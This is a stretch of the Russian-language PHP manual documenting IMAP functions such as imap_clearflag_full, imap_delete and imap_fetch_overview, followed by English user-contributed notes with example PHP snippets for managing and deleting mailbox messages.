  "{www.example.com:143/imap/user="foo@example.com"}INBOX"
  ["Nmsgs"]=>
  int(1)
  ["Recent"]=>
  int(0)
}

User Contributed Notes

JUNIOR TELLO 27-Jan-2006 06:43
You can NOT prevent imap_check from flagging new/recent messages when using POP3 enabling the "/readonly" or OP_READONLY flags or options.
erik at phpcastle dot com 13-Dec-2005 07:49
The imap_check ($stream); function will return real-time information about the e-mail box (at least imap) during one connection :)
28-Oct-2004 12:21
You can prevent imap_check from flagging new/recent messages as checked by calling imap_open with the "/readonly" or OP_READONLY flags.
rasmus at flajm dot com 18-Dec-2003 08:06
Running this on a mailbox will mark recent/new messages as checked.


Снять с сообщения установленные флаги

  • « imap_check
  • imap_close »
  • PHP Manual
  • Функции IMAP
  • Снять с сообщения установленные флаги

imap_clearflag_full

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_clearflag_full — Снять с сообщения установленные флаги

Описание

imap_clearflag_full(
IMAP\Connection $imap,
string $sequence,
string $flag,
int $options = 0
): bool

Эта функция оповещает хранилище, что необходимо снять заданный флаг flag для указанной последовательности сообщений sequence.

Список параметров

imap

Экземпляр IMAP\Connection.

sequence

Последовательность номеров сообщений. Вы можете перечислить номера через запятую X,Y, или задать диапазон номеров с помощью двоеточия X:Y

flag

Флаги, которые можно удалить: "\\Seen", "\\Answered", "\\Flagged", "\\Deleted" и "\\Draft" (как определено в » RFC2060)

options

options - битовая маска, которая может принимать единственное значение:

  • ST_UID - аргумент sequence содержит список UID, а не последовательность номеров

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_setflag_full() - Установить флаги на сообщения

User Contributed Notes

info at sharoff dot org 16-Oct-2017 09:42
<?php

$connection = imap_open(...);
$messageUid = 123;

imap_clearflag_full($connection, $messageUid, '\\Seen', ST_UID);
Nohado 26-Aug-2010 07:41
I got a note that:

if u want to set a mail to "//Unseen", which not exists,
do it like this:

imap_clearflag_full($your_imap_connection,
$number_of_message,"//Seen");

but, remember to do
imap_close($imap, CL_EXPUNGE);
@ the END! so that it will be confirmed!

Cheers,
Nohado
Mark Hill 30-Jul-2009 03:36
Remember to specify your flags like '\\Seen' rather than "\\Seen".

Of course, flags are an IMAP feature, not a POP feature.

Resetting \\Seen works from PHP 4.3 works fine on the modern mail servers I've tested.
21-Nov-2005 09:42
imap_clearflag_full() and imap_setflag_full() seem to only change messageflags permanently with IMAP connections, not with POP3 connections.
calmdown at abendstille dot at 16-Jan-2003 05:23
This function seems not to save the \\Seen flag permanently.

Testet on Win NT IIS 4.0 PHP 4.3 and imap-mail-server


Закрыть поток IMAP

  • « imap_clearflag_full
  • imap_create »
  • PHP Manual
  • Функции IMAP
  • Закрыть поток IMAP

imap_close

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_close — Закрыть поток IMAP

Описание

imap_close(IMAP\Connection $imap, int $flags = 0): bool

Закрывает поток IMAP.

Список параметров

imap

Экземпляр IMAP\Connection.

flags

Если установлен CL_EXPUNGE, то эта функция молча применит все внесённые изменения, в частности удалит все сообщения помеченные для удаления. По сути сделает то же, что и функция imap_expunge()

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_open() - Открывает поток IMAP к почтовому ящику

User Contributed Notes

There are no user contributed notes for this page.


Псевдоним imap_createmailbox

  • « imap_close
  • imap_createmailbox »
  • PHP Manual
  • Функции IMAP
  • Псевдоним imap_createmailbox

imap_create

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_create — Псевдоним imap_createmailbox()

Описание

Функция является псевдонимом: imap_createmailbox().

User Contributed Notes

There are no user contributed notes for this page.


Создать новый почтовый ящик

  • « imap_create
  • imap_delete »
  • PHP Manual
  • Функции IMAP
  • Создать новый почтовый ящик

imap_createmailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_createmailbox — Создать новый почтовый ящик

Описание

imap_createmailbox(IMAP\Connection $imap, string $mailbox): bool

Создаёт новый почтовый ящик, указанный в mailbox.

Список параметров

imap

Экземпляр IMAP\Connection.

mailbox

Имя почтового ящика. Более подробно смотрите imap_open(). Имена почтовых ящиков, содержащие интернациональные символы должны быть закодированы с помощью imap_utf7_encode().

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_createmailbox()

<?php
$mbox = imap_open("{imap.example.org}", "username", "password", OP_HALFOPEN)
or die("не получилось подключиться: " . imap_last_error());

$name1 = "phpnewbox";
$name2 = imap_utf7_encode("phpnewbox"); // phpnewb&w7Y-x

$newname = $name1;

echo "Новым именем будет '$name1'<br />\n";

// теперь создадим новый ящик "phptestbox" в вашем входящем каталоге,
// проверим его статус и удалим, чтобы вернуть ваш каталог к первоначальному
// состоянию

if (@imap_createmailbox($mbox, imap_utf7_encode("{imap.example.org}INBOX.$newname"))) {
$status = @imap_status($mbox, "{imap.example.org}INBOX.$newname", SA_ALL);
if ($status) {
echo "ваш новый почтовый ящик называется '$name1' и имеет следующий статус:<br />\n";
echo "Сообщений: " . $status->messages . "<br />\n";
echo "Новых: " . $status->recent . "<br />\n";
echo "Непрочитанных: " . $status->unseen . "<br />\n";
echo "Следующий UID: " . $status->uidnext . "<br />\n";
echo "Корректность UID:" . $status->uidvalidity . "<br />\n";

if (imap_renamemailbox($mbox, "{imap.example.org}INBOX.$newname", "{imap.example.org}INBOX.$name2")) {
echo "переименуем новый ящик из '$name1' в '$name2'<br />\n";
$newname = $name2;
} else {
echo "вызов imap_renamemailbox для нового ящика завершился ошибкой: " . imap_last_error() . "<br />\n";
}
} else {
echo "вызов imap_status для нового ящика завершился ошибкой: " . imap_last_error() . "<br />\n";
}

if (@imap_deletemailbox($mbox, "{imap.example.org}INBOX.$newname")) {
echo "новый почтовый ящик удалён для восстановления первоначального состояния<br />\n";
} else {
echo "вызов imap_deletemailbox на новом почтовом ящике завершился ошибкой: " . implode("<br />\n", imap_errors()) . "<br />\n";
}

} else {
echo "невозможно создать новый почтовый ящик: " . implode("<br />\n", imap_errors()) . "<br />\n";
}

imap_close($mbox);
?>

Смотрите также

  • imap_renamemailbox() - Переименовать почтовый ящик
  • imap_deletemailbox() - Удалить почтовый ящик

User Contributed Notes

tiznull 20-Mar-2009 11:44
One should understand that even though it says "create mailbox", you are really creating a FOLDER. Now, as a imap admin you can create mailboxes and more with this function.

So in reality, you are always creating folders when creating "mailboxes". Mail admin's get this, but programmers may not understand the concept completely.

If you auth a single user account and use these functions, they will not create mailboxes where mail is delivered, they will actually create a folder where you can copy messages to.

Here is a translation:
imap_createmailbox = create a folder in the account for the current authenticated user's imap session (imap_open)
imap_deletemailbox = delete a folder (and the email in it) for the current authenticated user's imap session (imap_open)
imap_getmailboxes = get all your folders for the current authenticated user's imap session (imap_open)
imap_renamemailbox = Rename a folder for the current authenticated user's imap session (imap_open)

================

Here is a quick class to login to an account, generate all of your base folders, and return the connection, success message and returns all the base folders for an imap account using PHP5:

<?php

class Imap {
    public $folders;
    public $connection;

    public function login($user, $pass) {
        $mbox = @imap_open("{imap.example.org:143}", $user, $pass);
        if(!$mbox)
            return ('Your login failed for user <strong>'.$user.'</strong>. Please try to enter your username and password again.<br />');

        // Login worked, let us begin!!!!....

        // gather folder lost...
        $fldrs_made = 0;
        $folders = imap_listmailbox($mbox, "{localhost:143}", "*");
        // create the default folders....
        if(1 === mailgui::create_default_folders($mbox,$folders)) {
            $folders = imap_listmailbox($mbox, "{localhost:143}", "*");
            $fldrs_made = 1;
        }

        sort($folders);

        $this->folders = $folders;
        $this->connection = $mbox;

        if(1 === $fldrs_made)
            return ('User logged in successfully as '.$user.'. This is your first time logging in, welcome to our webmail!!!<br />');
        else
            return ('User logged in successfully as '.$user.'.<br />');
    }
    private function create_default_folders($imap_stream, $folders) {
        $change=0;
        if(!in_array('{imap.example.org}TRASH',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}TRASH"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SENT"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SPAM',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SPAM"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}SENT"));
            $change=1;
        }
        if(!in_array('{imap.example.org}SENT',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}DRAFTS"));
            $change=1;
        }
        if(!in_array('{imap.example.org}MY_FOLDERS',$folders)) {
            @imap_createmailbox($imap_stream, imap_utf7_encode("{imap.example.org:143}PERSONAL EMAIL"));
            $change=1;
        }
        return $change;
    }
    public function close_mail_connection() {
        @imap_close($this->connection);
    }
}

// usage, create a form, post it....
if($_POST['imap_username'] && $_POST['imap_password']) {
    $imap_login = new Imap();
    $imap_login->login($_POST['imap_username'],$_POST['imap_password']);

    // Do some mail stuff here, like get headers...., use obj connection
    $message_headers = imap_mailboxmsginfo($imap_login->connection);

    // show the folders....
    print_r($imap_login->folders, true);

    print '<br /><hr size="1" noshade />';

    print_r($message_headers, true);

    // close the connection
    $imap_login->close_mail_connection();
}

?>


Пометить сообщение для удаления

  • « imap_createmailbox
  • imap_deletemailbox »
  • PHP Manual
  • Функции IMAP
  • Пометить сообщение для удаления

imap_delete

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_delete — Пометить сообщение для удаления

Описание

imap_delete(IMAP\Connection $imap, string $message_nums, int $flags = 0): bool

Помечает сообщения, перечисленные в message_nums для удаления. Помеченные сообщения будут оставаться в ящике пока не будет вызвана функция imap_expunge(), либо imap_close() с установленным параметром CL_EXPUNGE.

Список параметров

imap

Экземпляр IMAP\Connection.

message_nums

Строка (string), состоящая из одного или нескольких сообщений в формате последовательности в стиле IMAP4 ("n", "n:m" или их комбинация, разделённая запятыми).

flags

Можно задать как FT_UID, тогда функция будет ожидать в параметре message_nums не номер сообщения, а UID.

Возвращаемые значения

Возвращает true.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_delete()

<?php

$mbox = imap_open("{imap.example.org}INBOX", "username", "password")
or die("Не удалось подключиться: " . imap_last_error());

$check = imap_mailboxmsginfo($mbox);
echo "Сообщения до отметки для удаления: " . $check->Nmsgs . "<br />\n";

imap_delete($mbox, 1);

$check = imap_mailboxmsginfo($mbox);
echo "Сообщения после отметки для удаления: " . $check->Nmsgs . "<br />\n";

imap_expunge($mbox);

$check = imap_mailboxmsginfo($mbox);
echo "Сообщения после удаления: " . $check->Nmsgs . "<br />\n";

imap_close($mbox);
?>

Примечания

Замечание:

Ящики IMAP могут не сохранять флаги между соединениями, следовательно если вы действительно хотите удалить помеченные сообщения, то необходимо вызывать imap_expunge() в том же соединении, в котором флаги устанавливались.

Смотрите также

  • imap_undelete() - Снимает с сообщения метку удаления
  • imap_expunge() - Удалить все помеченные для удаления сообщения
  • imap_close() - Закрыть поток IMAP

User Contributed Notes

Daniel Dafoe 03-Mar-2016 11:24
Just so anyone using this function is aware: if you mark an email to be deleted from a mailbox, that flag does not persist. You need to call imap_expunge() or use the  CL_EXPUNGE option with imap_close() to remove the marked email in the same PHP script you marked it in.

I hope this helps someone out.
rueda dot raul at gmail dot com 05-Dec-2013 02:22
This function seems not to work on "[Gmail]/All Mail" mailbox. This is because Gmails keeps only one copy of the message and mailboxes are no more than labels.
Deleting a message from a mailbox only removes that label (except for "All Mail" mailbox).
To delete from "All Mail" you have to use imap_mail_move() function and move the message to "[Gmail]/Trash" mailbox.

Note: Names of mailboxes in Gmail depends on the language you're using.  E.g.: in Spanish "All Mail" is "Todos" and "Trash" is "Papelera".
erational 25-Mar-2013 02:26
the function is using the message number (and not the uid !)
$uid = $mail->uid;
$msgno = $mail->msgno;

if you want to use the uid, simply option value
imap_delete($mbox, $uid, FT_UID);
Olle 01-Nov-2012 07:46
I couldn't get imap_delete to work when I used it with pop3. Instead i wrote:
<?php
function pop3_dele($connection,$message)
{
    $status = imap_setflag_full($connection, '1:'.$message, '\\Deleted');
    imap_expunge($connection);
    return $status;

    //return(imap_delete($connection,trim($message)));
}
?>
thisemailaddress at gmail dot com 23-Sep-2009 10:48
In case you feel the need to kill all emails from before a certain year on your Gmail account, this would work:

<?php
error_reporting(E_ALL ^ (E_NOTICE | E_WARNING));

echo "parsing ini file...\n";
$ini = parse_ini_file('g.ini');
$user = $ini['user'];
$pass = $ini['pass'];
$year = $ini['year'];
echo "account {$user} - killing msgs from before {$year}\n\n";

echo "connecting...\n";
$imap = imap_open("{imap.gmail.com:993/imap/ssl/novalidate-cert}[Gmail]/All Mail", $user, $pass) or die("can't connect: " . imap_last_error() . "\n");

echo "checking current mailbox...\n";
$mbox = imap_check($imap);

echo "fetching overview...\n";
$flaggedForDelete = 0;
for($n = 0; $n < $mbox->Nmsgs; $n++) {
    echo "processing {$n} of {$mbox->Nmsgs}...\r";
    $hdr = imap_fetchheader($imap, $n);
    preg_match('/^Date: (.*?)$/m', $hdr, $matches);
    $date = date_parse(strtotime($matches[1]));
    if($date['year'] < $year) {
        imap_delete($imap, $msg->msgno);
        $flaggedForDelete++;
    }
}

echo "expunging mailbox ({$flaggedForDelete} messages flagged)... ";
echo ((imap_expunge($imap)) ? "ok" : "failed!")."\n";
imap_close($imap);

?>
Alex 23-Apr-2009 12:00
I think you don't have to give a range to imap_delete() if you want to delete a single one.

This works well:

<?php

imap_delete($conn,trim($msgno));

?>
chris at financialservicesonline dot com dot au 28-Jan-2009 03:54
After a little experimentation i found out how to mark a single message for deletion...

<?php

$msgid = '5'; //For example

imap_delete($mbox, "$msgid:$msgid");

?>

imap_delete() seems to want a range, so to select one, simply range from your id to your id.

Hope this helps.
iwantsimplelife at lycos dot com 12-Jan-2009 01:40
Somehow, when ever I try to delete an email using the message number returned by imap_header, any email with a message number below 999 will fail.

I discovered that the imap_header will pad the message number with spaces. You will need to trim the number before calling imap_delete.

I am using qmail and it took me over a month to figure it out.

Hope this will be helpful to some poor soul out there facing the same problem.
jacky at jackyhome dot myvnc dot com 09-Nov-2003 01:42
// is not a complete code but enough to clear out an entire mailbox.
// hope this can save your time :-)

<?php

if (isset($_REQUEST['DoNow']))
{
  # PULL ADDITIONAL FILES
  include_once ("common.php");

  $conn = @imap_open("\{$server/$serverType}Trash", $user, $pass)
  or die("Connection to folder failed");

  $headers = @imap_check($conn);
  ($headers->Nmsgs > 0) or die("Trash is empty already !");

  // delete email(s)
  @imap_delete($conn,'1:*');   // to clear out an entire mailbox.
  @imap_expunge($conn);
  echo "Trash is empty.";

  imap_close($conn);
}
else
{
  echo "<form name='formA' action='".$_SERVER['PATH_INFO']."' method='POST'>"; ?>
  Are you sure to empty trash ?
  <p>
  <input type="submit" value="Go Ahead" name="DoNow">&nbsp;
  <input type="button" value="Cancel" name="Cancel" onClick='javascript:self.history.go(-1)'></form></p>
<?php
} ?>
James G 09-Apr-2003 09:05
I had some major issues deleting emails using this function.  Using IIS 5.0 and a win based Mail Server, I could not delete the emails individually.

My script merely needed to check the emails and update the database for bounce backs, after which I simply wanted to erase all emails.

If imap_delete($mbox,$email->MsgNo) just isnt working for you, you can try using

    imap_delete($mbox,'1:*');

to clear out an entire mailbox.

Hope this helps cause it drove me insane for about 5 hours.  :)


Удалить почтовый ящик

  • « imap_delete
  • imap_errors »
  • PHP Manual
  • Функции IMAP
  • Удалить почтовый ящик

imap_deletemailbox

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_deletemailbox — Удалить почтовый ящик

Описание

imap_deletemailbox(IMAP\Connection $imap, string $mailbox): bool

Удаляет почтовый ящик mailbox.

Список параметров

imap

Экземпляр IMAP\Connection.

mailbox

Имя ящика. Более подробно читайте в описании imap_open()

Внимание

Если imap.enable_insecure_rsh не отключён, то передача в этот параметр не проверенных данных не безопасна.

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Смотрите также

  • imap_createmailbox() - Создать новый почтовый ящик
  • imap_renamemailbox() - Переименовать почтовый ящик
  • imap_open() - Открывает поток IMAP к почтовому ящику для формата mbox

User Contributed Notes

sanin at kset dot org 10-Oct-2006 08:27
When deleting user account(s) from IMAP server don't forget to put full server name and port. Also need to be logged as IMAP admin and set ACL.
This worked for Cyrus:

<?php
//Credentials
$cyrusadmin_username="cyrus";
$cyrusadmin_password="cyruspassword";
$cyrus_serverip="fellowship.ring.net";

//User to delete
$username="frodoBaggins";

//Open the connection to IMAP server (Cyrus)
   $mbox=imap_open("{".$serverip.":143}",$cyrusadmin_username, $cyrusadmin_password, OP_HALFOPEN)
            or die('IMAP Could not connect because '.imap_last_error());
//Set ACL - Give rights to $cyrusadmin_username to delete mailbox
   imap_setacl ($mbox, "user.".$username, $cyrusadmin_username, "lrswipcda")
            or die('Could not setacl on mailbox');
//Delete mailbox
   imap_deletemailbox($mbox,"{".$serverip.":143}user.".$username)
            or die('Could not delete mailbox');
?>
kenstumpf<a>hotmail.com 08-Jan-2004 12:10
Recent versions of the Cyrus imapd define mailbox ACLs as follows:

c (create)
The user may create new sub-mailboxes of the mailbox, or delete or rename the current mailbox.

d (delete)
The user may store the "Deleted" flag, and perform expunges.

This means to delete a mailbox, you will need to give the user you are connecting with via imap_open() "c" rights on the mailbox in order for imap_deletemailbox() to work.  Setting "d" rights for yourself is not the same.

Check the documentation for your version of Cyrus imapd.


Получить все произошедшие ошибки IMAP

  • « imap_deletemailbox
  • imap_expunge »
  • PHP Manual
  • Функции IMAP
  • Получить все произошедшие ошибки IMAP

imap_errors

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_errors — Получить все произошедшие ошибки IMAP

Описание

imap_errors(): array|false

Возвращает все ошибки IMAP (если они есть), произошедшие с момента запроса текущей страницы или с момента последнего сброса стека ошибок.

Когда вызывается функция imap_errors(), стек ошибок очищается.

Список параметров

У этой функции нет параметров.

Возвращаемые значения

Эта функция возвращает массив всех ошибок IMAP, возникших с момента последнего запуска imap_errors() или с начала страницы. Если таковых нет, возвращает false.

Смотрите также

  • imap_last_error() - Получить последнюю ошибку IMAP в текущем запросе
  • imap_alerts() - Возвращает все произошедшие предупредительные сообщения IMAP

User Contributed Notes

olliejones at gmail dot com 01-Apr-2023 05:17
This can generate the string "Mailbox is empty" right after a call to imap_open().  That's not an error.  That means something like this is not good enough to know the open failed due to a wrong password or host name or whatever. This

  $imap = @imap_open( $mailbox, $user, $pass);
  $errors = @imap_errors();
  if ( $errors ) {
      echo 'Login failed: ' . implode ('; ', $errors );
  }

can output "Login failed: Mailbox is empty" which is silly.

Instead, check the return value from imap_open().

  $imap = @imap_open( $mailbox, $user, $pass);
  if ( ! $imap ) {
      $errors = @imap_errors();
      echo 'Login failed: ' . implode ('; ', $errors );
  }
Luke Madhanga 24-Nov-2014 05:06
For those curious, this function will return a linear array of strings as opposed to say error_get_last which returns an associative array of different things.

e.g.

 [0 => '[TRYCREATE] No folder {imap.gmail.com} (Failure)']
Brandon Kirsch at perceptionilluminates dot com 29-Jun-2013 06:27
If you do not use imap_errors() to clear the error stack, any errors that remain at the end of the script execution will be raised as PHP Notices.
Jeremy Glover 03-Apr-2007 11:41
When calling imap_close($mbox), notices will be generated for each error that has occurred within the imap functions.  To suppress these error messages (including Mailbox is empty, which is not really an error) simply call imap_errors() and then imap_close($mbox).


Удалить все помеченные для удаления сообщения

  • « imap_errors
  • imap_fetch_overview »
  • PHP Manual
  • Функции IMAP
  • Удалить все помеченные для удаления сообщения

imap_expunge

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_expunge — Удалить все помеченные для удаления сообщения

Описание

imap_expunge(IMAP\Connection $imap): bool

Удаляет все помеченные для удаления сообщения. Пометить для удаления можно
с помощью функций imap_delete(),
imap_mail_move() или
imap_setflag_full().

Список параметров

imap

Экземпляр IMAP\Connection.

Возвращаемые значения

Возвращает true.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

User Contributed Notes

Pavel Cernik 29-Apr-2016 02:44
imap_expunge() may change order of messages which were loaded using imap_sort().
That means, if you use foreach() on result of imap_sort() function and each pass you move/delete a message and instantly expunge them, next cycle, messages will have different numbers than imap_sort() returned and the script will fail.
boswachter at xs4all dot nl 12-Jan-2006 07:57
@eisbrenner at gidn dot de

You shouldn't call imap_expunge until before closing the connection. imap_delete tags a message for deletion, imap_expunge deletes all tagged messages. i.e.:
for ($i = 0; $i < $num; $i++) {
  imap_delete($box, $i);
}
imap_expunge($box);

imap_expunge should not be in your inner loop.


Обзор информации, содержащейся в заголовках сообщений

  • « imap_expunge
  • imap_fetchbody »
  • PHP Manual
  • Функции IMAP
  • Обзор информации, содержащейся в заголовках сообщений

imap_fetch_overview

(PHP 4, PHP 5, PHP 7, PHP 8)

imap_fetch_overview — Обзор информации, содержащейся в заголовках сообщений

Описание

imap_fetch_overview(IMAP\Connection $imap, string $sequence, int $flags = 0): array|false

Эта функция читает заголовки сообщений, заданных в sequence и возвращает обзорную информацию об их контенте.

Список параметров

imap

Экземпляр IMAP\Connection.

sequence

Последовательность номеров сообщений.Вы можете перечислить несколько сообщений, используя как разделитель запятую (X,Y), или задать интервал сообщений с помощью двоеточия X:Y

flags

Параметр sequence должен содержать номера сообщений. Если вы хотите задать в нем их UID, то этот параметр необходимо задать значением FT_UID.

Возвращаемые значения

Возвращает массив объектов, каждый из которых описывает заголовок одного сообщения. Объекты содержат соответствующие свойства только если они присутствуют. Возможные свойства:

  • subject - тема письма
  • from - кто его послал
  • to - получатель
  • date - когда оно было послано
  • message_id - Идентификатор сообщения
  • references - является ссылкой на этот идентификатор сообщения
  • in_reply_to - является ответом на письмо с этим идентификатором
  • size - размер в байтах
  • uid - UID сообщения в ящике
  • msgno - номер сообщения в ящике
  • recent - письмо помечено как новое
  • flagged - это сообщение помечено (обычно является признаком "важности")
  • answered - сообщение помечено как отвеченное
  • deleted - помечено для удаления
  • seen - помечено как прочитанное
  • draft - помечено как черновик
  • udate - временная метка UNIX даты получения
Функция возвращает false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Параметр imap теперь ожидает экземпляр IMAP\Connection; ранее ожидался ресурс (resource) imap.

Примеры

Пример #1 Пример использования imap_fetch_overview()

<?php
$mbox = imap_open("{imap.example.org:143}INBOX", "username", "password")
or die("не удалось подключиться: " . imap_last_error());

$MC = imap_check($mbox);

// Получим обзор всех писем в INBOX
$result = imap_fetch_overview($mbox,"1:{$MC->Nmsgs}",0);
foreach ($result as $overview) {
echo "#{$overview->msgno} ({$overview->date}) - From: {$overview->from}
{$overview->subject}\n";
}
imap_close($mbox);
?>

Смотрите также

  • imap_fetchheader() - Получить заголовок сообщения

User Contributed Notes

damien at dipisoft dot com 17-Jan-2021 12:06
This is not documented but I just found out that with the FT_UID flag you can use "-1" in sequence as the last identifier. Example:

<?php
    [...]
    $result = imap_fetch_overview($mbox, "$first_uid:-1", FT_UID);
    [...]
?>
vijayakumard01 at gmail dot com 15-Feb-2017 12:30
While using fetch overview it displays only single mail. i need to display mail with replied and forward and all. how its possible?
undernetangel at gmail dot com 25-Jan-2017 10:12
There is a typo in the manual. The correct return value for arrival time is:  udate not update.
Ap.Muthu 06-Oct-2015 11:31
The use of the $range parameter is explained in the example at: http://www.phpdig.net/ref/rn31re596.html

<?php
$imap = imap_open("{localhost}INBOX","graeme","inferno");

// fetch message information for message 2
// and messages 4 to 6
$info = imap_fetch_overview($imap, "2,4:6");

?>

<table border=1>
<tr><th>Read</th><th>From</th><th>Date</th><th>Subject</th></tr>

<?php
// loop through the array
foreach ($info as $msg) {
   echo "<tr>";

   // display the seen property nicely
   if ($msg->seen == 1) {
      $read = "Yes";
   } else {
      $read = "No";
   }

   // print other message information
   printf("<td>%s</td>", $read);
   printf("<td>%s</td>", $msg->from);
   printf("<td>%s</td>", $msg->date);
   printf("<td>%s</td>", $msg->subject);
}

imap_close($imap);
?>
Nitrogen 20-Feb-2015 01:18
Judging from the comments here, it appears like people are forgetting the basics to already-available PHP sorting functions. Use usort(); and the tiniest custom function ever to compare them all.

Change the arguments to imap_fetch_overview to your own, obviously.

<?php
$result = imap_fetch_overview($imap_stream, '1:10', 0);

usort($result, function($a, $b) {
  return($b->udate-$a->udate);
});
?>

This usort function will look at each overview and order them in the exact latest to oldest message order as determined by the "udate" value for each message. This works. I'm using it. They're sorted in the exact order they appear in my actual inbox. Why obfuscate it any more?
jeff at newscloud dot com 13-Jan-2014 03:25
The Remote class here (https://github.com/newscloud/mail_filter/blob/master/app/protected/models/Remote.php) has a lot of examples of processing mailbox folders with imap-fetch-overview:

        $this->open($account_id,$this->path_inbox);
         $recent_messages = @imap_search($this->stream, 'SINCE "'.date("j F Y",$tstamp).'"',SE_UID); // 30 November 2013
         if ($recent_messages===false) continue; // to do - continue into next account
         $result = imap_fetch_overview($this->stream, implode(',',array_slice($recent_messages,0,$message_limit)),FT_UID);
         foreach ($result as $item) {
           $msg = $this->parseHeader($item);
rueda dot raul at gmail dot com 18-Dec-2013 04:52
English:
I've found that for some messages, this function and also function imap_headerinfo(), can't decode the message_id information and returns an ID like "<xxxxxxxxx@unknownmsgid>"

In these cases, I use the following to get the correct messageid:

$header=imap_rfc822_parse_headers(imap_fetchheader($mbox,$msgno))

Spanish:
Con algunos mensajes, esta funcion, al igual que la funcion imap_headerinfo(), no pueden decodificar correctamente la informacion del ID de mensaje y devuelven un ID como este "<xxxxxxxxx@unknownmsgid>"

En esos casos, uso lo siguiente para obtener el ID de mensaje correcto:

$header=imap_rfc822_parse_headers(imap_fetchheader($mbox,$msgno))
info at djdb dot be 23-Oct-2012 07:25
If you lost a mail use this
<?php
    public function READallUnreadmail(){
        if ($headers = imap_check($this->msgbox)){
            $lastnr = $headers->Nmsgs;
            if ($mails=imap_fetch_overview($this->msgbox,"1:".$lastnr,0)){
                while (list($key, $val) = each($mails)) {
                   if (++$key>=0&&$header= imap_header($this->msgbox, $key)){
                        if($header->Unseen=='U'||$header->Recent=='R'){
                            echo "<br>".$val->msgno." - ".$val->date." - ".$val->subject."\n<br>";
                            print "IREAD".$header->Msgno;
                            //$this->getattachmentof($header->Msgno);
                        }
                    }
                }
            }
        }
    }
?>
thinice at gmail dot com 06-Apr-2011 05:31
Hopefully someone will find this a jumpstarter for a sortable, paginated list:

<?php
public function listMessages($nStart=0, $nCnt=10) {

    if (!$this->loaded) {
        return NULL;
    }

    if (($nStart+$nCnt) > $this->getNum()) {
        $nCnt = $this->getNum()-$nStart;
    }

    $aMsgs = imap_fetch_overview($this->rCon, ($nStart+1).':'.($nStart+$nCnt));
    $aRet = array();
    if ($aMsgs) {
        foreach ($aMsgs as $msg) {
            $aRet[$msg->udate] = $msg;
        }
    }

    krsort($aRet);

    var_dump($aRet);
}
?>
will 20-Jun-2009 09:43
This seems to retrieve incomplete values for headers, instead of getting the entire value, it gets the first. for example, this is a valid To: header

To: foo1@example.com,foo2@example.com
     foo3@example.com

but imap_fetch_overview will only return:
foo1@example.com
dognose 16-Jan-2009 09:15
That's right:

calling imap_fetch_overview() once is faster, than calling it
in a loop.

But if you want to get a "day sorted" list, you need to call it in a loop, cause if you enter a "string" of UIDs, they are always sorted by UID, not by the order you entered it.

Heres a little example how to get a date-sorted list:

<?php
/*Sort all msgs by Arrival Date. Newest = 0, oldest = Array Count*/
/*returns an array, containing the UIDs of messages*/
$SortedArray = imap_sort($Handle,SORTARRIVAL,1,SE_UID);

For ($i = $Start; $i< $Start + $Limit; $i++){
      /*Read UID from Sorted Array*/
      $UID = $SortedArray[$i];

      /*Get Detailed MSG Infos*/
      $Overview = imap_fetch_overview($Handle, $UID, FT_UID);

      [...]
}
?>
xhack at web dot de 20-Mar-2007 07:05
you want a sortet list of mails, but you get always the same order? your c-client seems to cause this. i realized this with linux libc6-2.3.6 and php-5.2.0

try this little code:

# here you try to sort by your criteria
$sort=@imap_sort($mbox,SORTDATE,1,SE_UID);

# here the order of the messages to fetch should be recognised, but it isn't

$tmp=@imap_fetch_overview($mbox,implode(',',$sort),FT_UID);
# so try to work around simply:
for($i=0;$i<count($tmp);$i++)
{ $liste[$i]=$tmp[array_search($tmp[$i]->uid,$sort)]; }

so now you can use the sort by date, address, and so on.
raja at aonic dot net 14-Mar-2007 11:22
Here is a function to get messages from IMAP and sort them for pagination.

<?php
    /**
     * Return array of IMAP messages for pagination
     *
     * @param   int     $page       page number to get
     * @param   int     $per_page   number of results per page
     * @param   array   $sort       array('subject', 'asc') etc
     *
     * @return  mixed   array containing imap_fetch_overview, pages, and total rows if successful, false if an error occurred
     * @author  Raja K
     */
    public function listMessages($page = 1, $per_page = 25, $sort = null) {
        $limit = ($per_page * $page);
        $start = ($limit - $per_page) + 1;
        $start = ($start < 1) ? 1 : $start;
        $limit = (($limit - $start) != ($per_page-1)) ? ($start + ($per_page-1)) : $limit;
